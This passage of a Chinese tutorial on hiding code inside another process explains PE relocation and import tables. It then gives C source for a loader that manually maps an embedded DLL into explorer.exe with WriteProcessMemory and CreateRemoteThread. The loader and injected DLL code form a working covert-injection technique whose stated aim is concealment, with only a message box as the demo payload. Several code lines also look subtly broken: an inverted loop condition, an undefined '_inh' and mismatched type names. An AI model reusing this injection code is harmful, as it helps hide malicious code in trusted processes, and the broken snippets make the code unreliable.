<p>&nbsp;&nbsp;&nbsp;&nbsp;知道了重定位表要保存哪些信息，我们再来看看PE文件的重定位表是如何保存这些信息的。重定位表的位置和大小可以从PE文件头的数据目录中的第六个IMAGE_DATA_DIRECTORY结构中获取。由于记录一个需要修正的代码地址需要一个双字（32位）的存储空间，而且程序中直接寻址指令也比较多，所以为了节省存储空间，windows把重定位表压缩了一下，以页（4k）为单位分块存储。在一个页面中寻址只需要12位的数据，把这12位数据再加上4位其它数据凑齐16位就构成一个重定位项。在每一页的所有重定位项前面附加一个双字表示页的起始地址，另一个双字表示本重定位块的长度，就可以记录一个页面中所有需要重定位的地址了。所有重定位块依次排列，最后以一个页起始地址为0的重定位块结束重定位表。上表是一个重定位表的例子（表中每种颜色代表一个重定位块）。 <br>&nbsp;&nbsp;&nbsp;&nbsp;上面提到每个重定位项还包括4位其他信息，这4位是重定位项的高4位，虽然有4位，但我们实际上能看到的值只有两个：0和3。0表示此项仅用作对齐，无其他意义；3表示重定位地址指向的双字的32位都需要修正。还要注意一点的是页起始地址是一个相对虚拟地址（RVA），必须加上装入地址才能得到实际页地址。例如上表中的第一个重定位项表示需要重定位的数据位于地址(假设装入地址是00400000h)：装入地址(00400000h)+页地址（1000h）+页内地址（0006h）=00401006h。 <br>&nbsp;&nbsp;&nbsp;&nbsp;至此，已经解决了重定位问题。应该说，现在我们已经能够开始编码了。但是，不知你是否读过其它有关进程隐藏的文章（使用类似Jeffrey Richer的方法的例外）并且注意到它们总是以显式链接的方式调用Windows API，例如下面对MessageBox的调用：</p>
</font>
<pre>//fnLoadLibrary和fnGetProcAddress分别指向Windows API函数LoadLibraryW和GetProcAddress <br>typedef int (WINAPI *FxMsgBox)(HWND, LPCWSTR, LPCTSTR, UINT); <br>&#8230; <br>HMODULE hUser32 = fnLoadLibrary(L"User32.dll"); <br>FxMsgBox fnMsgBox = (FxMsgBox)(fnGetProcAddress(hUser32, "MessageBoxW")); <br>fnMsgBox(&#8230;); <br>&#8230;&nbsp;&nbsp;</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;那它们为什么不使用更简便的隐式链接呢？原来，要隐式链接dll并调用其中的输出函数，首先必须保证程序运行时dll已经被装入，否则就会出错。其次，调用API函数的指令格式一般是：call dword ptr [xxxxxxxx]，要让程序正常运行，就必须在调用前在地址xxxxxxxx处填入目标函数的入口地址。程序正常装入时，系统会保证这两点。但是要自己装入程序，保证这两点就有一些麻烦，所以它们一般使用显式链接来绕过这两个问题。 <br>&nbsp;&nbsp;&nbsp;&nbsp;如果你不在乎为每一个API使用一个typedef和一个GetProcAddress的话（也许还有一个LoadLibrary），使用显式链接就已经足够好了。但是设想一下实际情况吧：你的代码中调用几十乃至数百个API的情况是很常见的，为每一个API写这些重复性的代码将使编程毫无乐趣可言，所以，我们一定要解决那两个问题，从而使用隐式链接。我们处理隐式链接问题的思路和前面处理重定位问题时是一样的，即：替系统来完成工作，在远程线程代码调用第一个API之前，装入dll并填好相关入口地址。</font></p>
<pre>//摘自WINNT.H <br>typedef struct _IMAGE_IMPORT_DESCRIPTOR { <br>&nbsp;&nbsp;&nbsp; union { <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD Characteristics; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD OriginalFirstThunk; <br>&nbsp;&nbsp;&nbsp; }; <br>&nbsp;&nbsp;&nbsp; DWORD TimeDateStamp; <br>&nbsp;&nbsp;&nbsp; DWORD ForwarderChain; <br>&nbsp;&nbsp;&nbsp; DWORD Name; <br>&nbsp;&nbsp;&nbsp; DWORD FirstThunk; <br>} IMAGE_IMPORT_DESCRIPTOR;&nbsp;</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;还是先来学习一下基础知识—PE文件的输入表。输入表记录了一个Win32程序隐式加载的所有dll的文件名及从中引入的API的函数名，通过PE文件头的数据目录中的第二个IMAGE_DATA_DIRECTORY，我们可以获得输入表的位置和大小。实际上，输入表是一个由IMAGE_IMPORT_DESCRIPTOR结构组成的数组，每个结构对应一个需要隐式加载的dll文件，整个输入表以一个Characteristics字段为0的IMAGE_IMPORT_DESCRIPTOR结束。上面就是IMAGE_IMPORT_DESCRIPTOR结构的定义。 <br>&nbsp;&nbsp;&nbsp;&nbsp;其中的Name字段是一个RVA，指向此结构所对应的dll的文件名，文件名是以NULL结束的字符串。在PE文件中，OriginalFirstThunk和FirstThunk都是RVA，分别指向两个内容完全相同的IMAGE_THUNK_DATA结构的数组，每个结构对应一个引入的函数，整个数组以一个内容为0的IMAGE_THUNK_DATA结构作为结束标志。IMAGE_THUNK_DATA结构定义如下：</font></p>
<pre>//摘自WINNT.H <br>typedef struct _IMAGE_THUNK_DATA32 { <br>&nbsp;&nbsp;&nbsp; union { <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD ForwarderString; // PBYTE <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD Function; // PDWORD <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD Ordinal; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME <br>&nbsp;&nbsp;&nbsp; } u1; <br>} IMAGE_THUNK_DATA32; <br>typedef IMAGE_THUNK_DATA32 IMAGE_THUNK_DATA;&nbsp;&nbsp;</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;从上面的定义可以看出，完全能够把IMAGE_THUNK_DATA结构当作一个DWORD使用。当这个DWORD的最高为是1时，表示函数是以序号的形式引入的；否则函数是以函数名的形式引入的，且此DWORD是一个RVA，指向一个IMAGE_IMPORT_BY_NAME结构。我们可以使用在WINNT.H中预定义的常量IMAGE_ORDINAL_FLAG来测试最高位是否为1。IMAGE_IMPORT_BY_NAME结构定义如下：</font></p>
<pre>&nbsp;//摘自WINNT.H <br>typedef struct _IMAGE_IMPORT_BY_NAME { <br>&nbsp;&nbsp;&nbsp; WORD Hint; <br>&nbsp;&nbsp;&nbsp; BYTE Name[1]; <br>} IMAGE_IMPORT_BY_NAME;</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;其中Hint字段的内容是可选的，如果它不是0，则它也表示函数的序号，我们编程是不必考虑它。虽然上面的定义中Name数组只包含一个元素，但其实它是一个变长数组，保存的是一个以NULL结尾的字符串，也就是函数名。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;也许上面的解释已经把你弄得头晕脑涨了，来看看下面的导入表的实际结构吧，希望下图能帮你清醒一下： </font></p>
<p><font face=宋体>&nbsp; <img alt=图1 src="http://www.cppblog.com/images/vckbase_com/localvar/708/o_hide01.gif"> <br>&nbsp;&nbsp;&nbsp;&nbsp;光看前面的讲解中，你也许会有一个疑问：既然OriginalFirstThunk和FirstThunk指向的内容完全一样，只用一个不就行了吗？好了，不要再怀疑Windows的设计者了，在PE文件中它们确实是一样的，但是当文件被装入内存后，差别就出现了：OriginalFirstThunk的内容不会变，但FirstThunk里数据却会变成与其相对应的函数的入口地址。内存中的输入表结构如下图所示：</font></p>
<p><font face=宋体>&nbsp; <img alt=图2 src="http://www.cppblog.com/images/vckbase_com/localvar/708/o_hide02.gif"> <br>&nbsp;&nbsp;&nbsp;&nbsp;事实上，前面提到的call dword ptr [xxxxxxxx]指令中的xxxxxxxx就是FirstThunk中的一个IMAGE_THUNK_DATA的地址，而这个IMAGE_THUNK_DATA在装入完成之后保存的就是与其对应的函数的入口地址。知道动态链接是怎么回事了吧！ </p>
<h3>编程实现</h3>
<p>&nbsp;&nbsp;&nbsp;&nbsp;到现在为止，有关进程隐藏的基础知识就都说完了，下面我们就开始动手编程，其他问题我将结合代码进行说明。 <br>&nbsp;&nbsp;&nbsp;&nbsp;我们要编写两个程序，一个是dll，它里面包含要插入到宿主进程中去的代码和数据；另一个是装载器程序，它将把dll装入宿主进程并通过创建远程线程来运行这些代码。为了更好的隐藏，我把编译好的dll作为资源加入到了装载器之中。至于宿主进程，我选择的是explorer.exe，因为每一个windows系统中都有它的身影。装载器程序运行之后，远程线程将弹出如下一个消息框，证明代码插入成功。</p>
<p>&nbsp; <img alt=图3 src="http://www.cppblog.com/images/vckbase_com/localvar/708/o_hide03.jpg"> <br>&nbsp;&nbsp;&nbsp;&nbsp;两个程序有一个公用的头文件ThreadParam.h，我在它里面定义了要传递给远程线程的参数的结构，这个结构包括两个函数指针，使用时，它们将分别指向windows API函数LoadLibrary和GetProcAddress，还有一个指针指向远程线程在目标进程中的映像基址，后面将对这三个指针进行具体说明，下面是ThreadParam.h的内容：</p>
</font>
<pre>typedef HMODULE (WINAPI *FxLoadLibrary)(LPCSTR lpFileName); <br>typedef FARPROC (WINAPI *FxGetProcAddr)(HMODULE hModule, LPCSTR lpProcName); <br>typedef struct tagTHREADPARAM <br>{ <br>&nbsp;&nbsp;&nbsp; FxLoadLibrary fnLoadLibrary; <br>&nbsp;&nbsp;&nbsp; FxGetProcAddr fnGetProcAddr; <br>&nbsp;&nbsp;&nbsp; LPBYTE pImageBase; <br>}THREADPARAM, *PTHREADPARAM;&nbsp;</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;我们先来看装载器程序。这里面还会涉及到其他一些PE文件格式方面的内容，限于篇幅，我将不再详细介绍，请读者参考相关资料。同时，为了使程序更加短小，我假设它从不出错，去掉了所有用于错误处理的代码。 <br>&nbsp;&nbsp;&nbsp;&nbsp;首先介绍一下程序中用到的全局变量和常数。其中&#8220;_pinh&#8221;指向嵌入装载器的dll的PE文件头，供需要的地方使用。之后的四个宏是为了以后程序书写方便而定义，&#8220;IMAGE_SIZE&#8221;表示dll的映像大小，也就是需要在宿主进程中开辟多大的内存空间；&#8220;RVA_EXPORT_TABEL&#8221;表示dll输出表的RVA地址；&#8220;RVA_RELOC_TABEL&#8221;表示dll重定位表的RVA地址；&#8220;PROCESS_OPEN_MODE&#8221;表示打开宿主进程的方式，只有按这种方式打开，我们才能完成所有必需的工作。</font></p>
<pre>static PIMAGE_NT_HEADERS _pinh = NULL; <br>#define IMAGE_SIZE (_pinh-&gt;OptionalHeader.SizeOfImage) <br>#define RVA_EXPORT_TABEL (_pinh-&gt;OptionalHeader.DataDirectory[0].VirtualAddress) <br>#define RVA_RELOC_TABEL (_pinh-&gt;OptionalHeader.DataDirectory[5].VirtualAddress) <br>#define PROCESS_OPEN_MODE (PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION)&nbsp;</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;下面是主函数的定义，从中我们可以看到大致的工作步骤，注释中的序号标明了每一步的开始位置。</font></p>
<pre>int APIENTRY _tWinMain(HINSTANCE hInst, HINSTANCE, LPTSTR lpCmdLine, int nCmdShow) <br>{ <br>&nbsp;&nbsp;&nbsp; LPTHREAD_START_ROUTINE pEntry = NULL; <br>&nbsp;&nbsp;&nbsp; PTHREADPARAM pParam = NULL; <br>&nbsp;&nbsp;&nbsp; LPBYTE pImage = (LPBYTE)MapRsrcToImage(); //① <br>&nbsp;&nbsp;&nbsp; DWORD dwProcessId = GetTargetProcessId(); //② <br>&nbsp;&nbsp;&nbsp; HANDLE hProcess = OpenProcess(PROCESS_OPEN_MODE, FALSE, dwProcessId); <br>&nbsp;&nbsp;&nbsp; LPBYTE pInjectPos = (LPBYTE)VirtualAllocEx(hProcess, NULL, IMAGE_SIZE, <br>&nbsp;&nbsp;&nbsp; MEM_COMMIT, PAGE_EXECUTE_READWRITE); <br>&nbsp;&nbsp;&nbsp; PrepareData(pImage, pInjectPos, (PVOID*)&amp;pEntry, (PVOID*)&amp;pParam); //③ <br>&nbsp;&nbsp;&nbsp; WriteProcessMemory(hProcess, pInjectPos, pImage, IMAGE_SIZE, NULL); //④ <br>&nbsp;&nbsp;&nbsp; HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pEntry, pParam, 0, NULL); <br>&nbsp;&nbsp;&nbsp; CloseHandle(hThread); //⑤ <br>&nbsp;&nbsp;&nbsp; CloseHandle(hProcess); <br>&nbsp;&nbsp;&nbsp; VirtualFree(pImage, 0, MEM_RELEASE); <br>&nbsp;&nbsp;&nbsp; return 0; <br>}&nbsp;&nbsp;</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;第①步：将资源中的dll文件映射到内存，形成映像。这一步由函数MapRsrcToImage完成。它首先将打开资源中的dll，找到dll的PE文件头并让全局变量_pinh指向它。然后，它再根据文件头中的SizeOfImage字段在装载器进程（为求方便，我们的数据准备工作都在装载器进程中实现，只是到最后，才把准备好的数据一次性写入宿主进程）中开辟足够的内存空间用于存放dll的内存映像。把dll映射到内存的操作是以节为单位来进行的，PE文件中的节表（IMAGE_SECTION_HEADER）提供了每个节的大小、在文件中的位置和要放到内存中的位置（RVA）等信息。文件头不属于任何节，我们把它的数据放到内存区的起始位置（这样做是有原因的，将在介绍dll程序时说明）。 </font></p>
<pre>static LPBYTE MapRsrcToImage() //将资源中的DLL映射到内存 <br>{ <br>&nbsp;&nbsp;&nbsp; HRSRC hRsrc = FindResource(NULL, _T("rtdll"), _T("RT_DLL")); <br>&nbsp;&nbsp;&nbsp; HGLOBAL hGlobal = LoadResource(NULL, hRsrc); <br>&nbsp;&nbsp;&nbsp; LPBYTE pRsrc = (LPBYTE)LockResource(hGlobal); <br>&nbsp;&nbsp;&nbsp; _pinh = (PIMAGE_NT_HEADERS)(pRsrc + ((PIMAGE_DOS_HEADER)pRsrc)-&gt;e_lfanew); <br>&nbsp;&nbsp;&nbsp; LPBYTE pImage = (LPBYTE)VirtualAlloc(NULL, IMAGE_SIZE, MEM_COMMIT, PAGE_READWRITE); <br>&nbsp;&nbsp;&nbsp; DWORD dwSections = _pinh-&gt;FileHeader.NumberOfSections; <br>&nbsp;&nbsp;&nbsp; DWORD dwBytes2Copy = (((LPBYTE)_pinh) - pRsrc) + sizeof(IMAGE_NT_HEADERS); <br>&nbsp;&nbsp;&nbsp; PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)(pRsrc + dwBytes2Copy); <br>&nbsp;&nbsp;&nbsp; dwBytes2Copy += dwSections * sizeof(IMAGE_SECTION_HEADER); <br>&nbsp;&nbsp;&nbsp; memcpy(pImage, pRsrc, dwBytes2Copy); <br>&nbsp;&nbsp;&nbsp; for(DWORD i=0; i&gt;dwSections; i++, pish++) <br>&nbsp;&nbsp;&nbsp; { <br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; LPBYTE pSrc = pRsrc + pish-&gt;PointerToRawData; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LPBYTE pDest = pImage + pish-&gt;VirtualAddress; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwBytes2Copy = pish-&gt;SizeOfRawData; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(pDest, pSrc, dwBytes2Copy); <br>&nbsp;&nbsp;&nbsp; } <br>&nbsp;&nbsp;&nbsp; _pinh = (PIMAGE_NT_HEADERS)(pImage + ((PIMAGE_DOS_HEADER)pImage)-&gt;e_lfanew); <br>&nbsp;&nbsp;&nbsp; return pImage; <br>}</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;第②步：打开宿主进程，并在其中开辟用于写入数据的内存空间。这一步比较简单，其中函数GetTargetProcessId用于获取explorer.exe的进程ID。 </font></p>
<pre>static DWORD GetTargetProcessId() //取得explorer进程的pid <br>{&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD dwProcessId = 0; <br>&nbsp;&nbsp;&nbsp; HWND hWnd = FindWindow(_T("Progman"), _T("Program Manager")); <br>&nbsp;&nbsp;&nbsp; GetWindowThreadProcessId(hWnd, &amp;dwProcessId); <br>&nbsp;&nbsp;&nbsp; return dwProcessId; <br>} </pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;第③步：准备好要写入宿主进程的数据。这一步要把①中建立的dll映像根据②中开辟的存储空间的基址进行重定位，为线程准备参数，并计算线程的入口地址。 </font></p>
<pre>static void PrepareData(LPBYTE pImage, LPBYTE pInjectPos, PVOID* ppEntry, PVOID* ppParam) <br>{ <br>&nbsp;&nbsp;&nbsp; LPBYTE pRelocTbl = pImage + RVA_RELOC_TABEL; <br>&nbsp;&nbsp;&nbsp; DWORD dwRelocOffset = (DWORD)pInjectPos - _inh.OptionalHeader.ImageBase; <br>&nbsp;&nbsp;&nbsp; RelocImage(pImage, pRelocTbl, dwRelocOffset); <br>&nbsp;&nbsp;&nbsp; PTHREADPARAM param = (PTHREADPARAM)pRelocTbl; <br>&nbsp;&nbsp;&nbsp; HMODULE hKernel32 = GetModuleHandle(_T("kernel32.dll")); <br>&nbsp;&nbsp;&nbsp;param-&gt;fnGetProcAddress=(FxGetProcAddress)GetProcAddress(hKernel32,"GetProcAddress"); <br>&nbsp;&nbsp;&nbsp; param-&gt;fnLoadLibrary= (FxLoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA"); <br>&nbsp;&nbsp;&nbsp;param-&gt;pImageBase = pInjectPos; <br>&nbsp;&nbsp;&nbsp; *ppParam = pInjectPos + RVA_RELOC_TABEL; <br>&nbsp;&nbsp;&nbsp; *ppEntry = pInjectPos + GetEntryPoint(pImage); <br>} </pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;首先，它根据实际装入地址和建议地址计算出要加到重定位数据上去的数值，然后调用函数RelocImage进行重定位操作。RelocImage主要是根据我们前面介绍的重定位表的结构来对dll映像进行重定位。看了RelocImage的代码，你是不是感到有些惊讶？我们费了那么多气力来说明重定位问题，但实现它却只需要这么几行程序！其实这说明了一点：PE文件格式设计得非常简洁，我们完全没必要对它有恐惧感。后面处理隐式链接的代码将再次证明这一点。 </font></p>
<pre>static void RelocImage(PBYTE pImage, PBYTE pRelocTbl, DWORD dwRelocOffset) <br>{ <br>&nbsp;&nbsp;&nbsp; PIMAGE_BASE_RELOCATION pibr = (PIMAGE_BASE_RELOCATION)pRelocTbl; <br>&nbsp;&nbsp;&nbsp; while(pibr-&gt;VirtualAddress != NULL) <br>&nbsp;&nbsp;&nbsp; { <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WORD* arrOffset = (WORD*)(pRelocTbl + sizeof(IMAGE_BASE_RELOCATION)); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD dwRvaCount = (pibr-&gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(DWORD i=0; i&lt;dwRvaCount; i++ ) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwRva = arrOffset[i]; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((dwRva &amp; 0xf000) != 0x3000) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; continue; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwRva &amp;= 0x0fff; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwRva += pibr-&gt;VirtualAddress + (DWORD)pImage; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(DWORD*)dwRva += dwRelocOffset; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pRelocTbl += pibr-&gt;SizeOfBlock; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pibr = (PIMAGE_BASE_RELOCATION)pRelocTbl; <br>&nbsp;&nbsp;&nbsp; } <br>}</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;由于我们在宿主进程中分配的内存只有IMAGE_SIZE那么大，所以必须在重定位操作完成之后，才能把线程参数写进去，这是因为重定位表在完成重定位之后，就没用了，我们正好可以借用它的空间来存放线程参数，而且一般情况下，空间足够使用，除非你要传递特别多的参数。这样，参数的地址自然就是实际装入地址加上重定位表的RVA地址了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;最后的工作是获取线程的入口地址，由函数GetEntryPoint来完成。我们的dll程序输出一个名为ThreadEntry的函数，其原型兼容windows的线程入口函数，我们把它作为远程线程的执行体。GetEntryPoint根据dll的输出表信息从映像中找到ThreadEntry的入口地址并将其返回。不过，GetEntryPoint返回的地址是一个RVA，必须加上装入地址pInjectPos才是实际入口地址。 </font></p>
<pre>static DWORD GetEntryPoint(LPBYTE pImage) <br>{ <br>&nbsp;&nbsp;&nbsp; DWORD dwEntry = 0, index = 0; <br>&nbsp;&nbsp;&nbsp; IMAGE_EXPORT_DIRECTORY* pied = (IMAGE_EXPORT_DIRECTORY*)(pImage + RVA_EXPORT_TABEL); <br>&nbsp;&nbsp;&nbsp; DWORD* pNameTbl = (DWORD*)(pImage + pied-&gt;AddressOfNames); <br>&nbsp;&nbsp;&nbsp; for(index=0; index&lt;pied-&gt;NumberOfNames; index++, pNameTbl++) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strcmp("ThreadEntry", (char*)(pImage + (*pNameTbl))) == 0) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;index = ((WORD*)(pImage + pied-&gt;AddressOfNameOrdinals))[index]; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwEntry = ((DWORD*)(pImage + pied-&gt;AddressOfFunctions))[index]; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp; return dwEntry; <br>}</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;第④步：把准备好的数据写入宿主进程，并创建远程线程来运行写入的代码。 <br>&nbsp;&nbsp;&nbsp;&nbsp;第⑤步：进行装载器程序结束前的清理工作。 <br>&nbsp;&nbsp;&nbsp;&nbsp;以上是装载器程序的全部内容，接下来介绍dll程序。前面已经说过，dll要输出一个名为ThreadEntry的函数作为远程线程的入口，所以我们从ThreadEntry开始。 </font></p>
<pre>extern DWORD ThreadMain(HINSTANCE hInst); <br>DWORD WINAPI ThreadEntry(PTHREADPARAM pParam) <br>{ <br>&nbsp;&nbsp;&nbsp; DWORD dwResult = -1; <br>&nbsp;&nbsp;&nbsp; __try{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(LoadImportFx(pParam-&gt;pImageBase, pParam-&gt;fnLoadLibrary, pParam-&gt;fnGetProcAddr)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwResult = ThreadMain((HINSTANCE)pParam-&gt;pImageBase); <br>&nbsp;&nbsp;&nbsp; } <br>&nbsp;&nbsp;&nbsp; __except(EXCEPTION_EXECUTE_HANDLER) <br>&nbsp;&nbsp;&nbsp; { <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwResult = -2; <br>&nbsp;&nbsp;&nbsp; } <br>&nbsp;&nbsp;&nbsp; return dwResult; <br>}</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;整个ThreadEntry的代码被包含在一个SEH（结构化异常处理）之中，这可以避免部分由于寄生代码出错而导致宿主被系统杀死的情况。ThreadEntry首先调用LoadImportFx函数完成隐式链接dll的处理。 <br>&nbsp;&nbsp;&nbsp;&nbsp;LoadImportFx的工作原理就是按照前面介绍的输入表的结构，使用LoadLibrary加载dll文件，然后用GetProcAddress获得输入函数的入口地址并写入相应的IMAGE_THUNK_DATA中。我在这里要说明的是：为什么远程线程能使用装载器进程中LoadLibrary和GetProcAddress的入口地址来实现对这两个函数的调用？因为按照前面的说法，我们无法保证包含这两个函数的dll已被装入，更无法保证它们的指向的正确性。其实，这里我利用了windows系统中的两个事实：一是基本上所有的windows进程都会装入kernel32.dll（在我的机器上，只有smss.exe例外），而这两个函数就位于kernel32.dll中；另一个是所有装入kernel32.dll的进程都会把它装入同一个内存地址，这是因为它是windows系统中最基本的dll之一。所以，我这样使用在绝大多数情况下不会有任何问题。 </font></p>
<pre>BOOL LoadImportFx(LPBYTE pBase, FxLoadLibrary fnLoadLibrary, FxGetProcAddr fnGetProcAddr) <br>{ <br>&nbsp;&nbsp;&nbsp; PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)pBase; <br>&nbsp;&nbsp;&nbsp; PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)(pBase + pidh-&gt;e_lfanew); <br>&nbsp;&nbsp;&nbsp; PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(pBase + pinh-&gt;OptionalHeader.DataDirectory[1].VirtualAddress); <br>&nbsp;&nbsp;&nbsp; for(; piid-&gt;OriginalFirstThunk != 0; piid++) <br>&nbsp;&nbsp;&nbsp; { <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HMODULE hDll = fnLoadLibrary((LPCSTR)(pBase + piid-&gt;Name)); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PIMAGE_THUNK_DATA pOrigin = (PIMAGE_THUNK_DATA)(pBase + piid-&gt;OriginalFirstThunk); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PIMAGE_THUNK_DATA pFirst = (PIMAGE_THUNK_DATA)(pBase + piid-&gt;FirstThunk); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LPCSTR pFxName = NULL; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PIMAGE_IMPORT_BY_NAME piibn = NULL; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(; pOrigin-&gt;u1.Ordinal != 0; pOrigin++, pFirst++) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(pOrigin-&gt;u1.Ordinal &amp; IMAGE_ORDINAL_FLAG) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pFxName = (LPCSTR)IMAGE_ORDINAL(pOrigin-&gt;u1.Ordinal); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; piibn = (PIMAGE_IMPORT_BY_NAME)(pBase + pOrigin-&gt;u1.AddressOfData); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pFxName = (LPCSTR)piibn-&gt;Name; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pFirst-&gt;u1.Function = (DWORD)fnGetProcAddr(hDll, pFxName); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp; return TRUE; <br>} </pre>
<font face=宋体>
